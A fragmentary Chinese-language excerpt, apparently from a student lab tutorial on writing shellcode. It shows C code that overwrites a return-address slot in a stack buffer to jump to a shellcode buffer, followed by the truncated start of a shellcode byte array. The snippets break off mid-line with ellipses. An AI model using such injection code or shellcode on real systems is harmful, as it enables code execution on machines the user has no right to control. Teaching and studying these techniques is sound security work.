shellcode广泛用于许多涉及代码注入的攻击中。编写shellcode是相当有挑战性的。虽然我们可以很容易地从互联网上找到现有的shellcode,但是能够从头开始编写我们自己的shellcode总是令人兴奋的。shellcode中涉及到几种有趣的技术。本实验室的目的是帮助学生理解这些技术,以便他们能够编写自己的shellcode。 编写
{ //((void(*)())&shellcode)();//执行shellcode数据片 char badStr[] = "000011112222333344445555";//创建了一个24个字节的字符数组 DWORD *pEIP = (DWORD*)&badStr[8];//获取该数组的第八个元素的地址(从第零个开始) //*pEIP = (DWORD)&shellcode[0];//获取shellcode数据片开头地址 *pEIP =...
//((void(*)())&shellcode)(); return 0; } 直接运行,之后打开项目所在文件夹,会发现一个code.text文件,打开里面会有已经准备好的unsigned char shellcode[]的初始化 这是我转化后得到的shellcode代码 unsigned char shellcode[] = "\x55\x64\x8b\x35\x30\x00\x00\x00" "\x8b\x76\x0c\x8b\x7...